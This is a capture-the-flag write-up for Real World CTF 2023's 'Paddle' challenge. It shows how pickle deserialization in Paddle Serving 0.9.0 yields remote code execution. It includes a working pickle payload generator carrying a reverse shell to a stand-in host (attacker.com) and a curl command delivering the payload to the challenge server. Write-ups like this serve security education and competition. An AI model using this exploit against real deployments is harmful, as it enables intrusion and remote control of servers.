Rating:

# Paddle

**Tags**: Clone-and-Pwn, web

> Flexible to serve ML models, and more.

For this challenge, we are given a Dockerfile that installs the latest version of [Paddle Servinge](https://github.com/PaddlePaddle/Serving) and runs the built-in demo.

```Dockerfile
FROM python:3.6-slim
RUN apt-get update && \
apt-get install libgomp1 && \
rm -rf /var/lib/apt/lists/*
RUN pip install \
paddle-serving-server==0.9.0 \
paddle-serving-client==0.9.0 \
paddle-serving-app==0.9.0 \
paddlepaddle==2.3.0
WORKDIR /usr/local/lib/python3.6/site-packages/paddle_serving_server/env_check/simple_web_service
RUN cp config_cpu.yml config.yml
RUN echo "rwctf{this is flag}" > /flag
CMD ["python", "web_service.py"]
```

Looking at the codebase, we can find Pickle deserialization in the [`python/pipeline/operator.py`](https://github.com/PaddlePaddle/Serving/blob/v0.9.0/python/pipeline/operator.py) file. So if can control the `tensor` argument of `proto_tensor_2_numpy`, we can get RCE.

This method is called in `unpack_request_package` and because `Op` is the supertype of all the operator classes, it will get called when the server processes our request.

```python
class Op(object):
def proto_tensor_2_numpy(self, tensor):
# [...]
elif tensor.elem_type == 13:
# VarType: BYTES
byte_data = BytesIO(tensor.byte_data)
np_data = np.load(byte_data, allow_pickle=True)
# [...]

def unpack_request_package(self, request):
# [...]
for one_tensor in request.tensors:
name = one_tensor.name
elem_type = one_tensor.elem_type

# [...]

numpy_dtype = _TENSOR_DTYPE_2_NUMPY_DATA_DTYPE.get(elem_type)

if numpy_dtype == "string":
# [...]
else:
np_data, np_lod = self.proto_tensor_2_numpy(one_tensor)
dict_data[name] = np_data
if np_lod is not None:
dict_data[name + ".lod"] = np_lod

```

So `request` should contain:
```json
{
"tensors": [
{
"name": ":psyduck:",
"elem_type": 13,
"byte_data": "pickled data"
}
]
}
```

Where pickled data can be generated with the classic Pickle RCE payload:
```python
import pickle
import base64

reverse_shell = """export RHOST="attacker.com";export RPORT=1337;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'"""

class PickleRce(object):
def __reduce__(self):
import os
return (os.system,(reverse_shell,))

print(base64.b64encode(pickle.dumps(PickleRce())))
```

So finally we can send the exploit to get a reverse shell:
```sh
curl -v http://47.88.23.73:37068/uci/prediction -d '{"tensors": [{"name": ":psyduck:", "elem_type": 13, "byte_data": "gANjcG9z..."}]}'
```

```sh
cat /flag
```
> `rwctf{R0ck5-with-PaddLe-s3rv3r}`

Original writeup (https://org.anize.rs/rwctf-2023/web/paddle).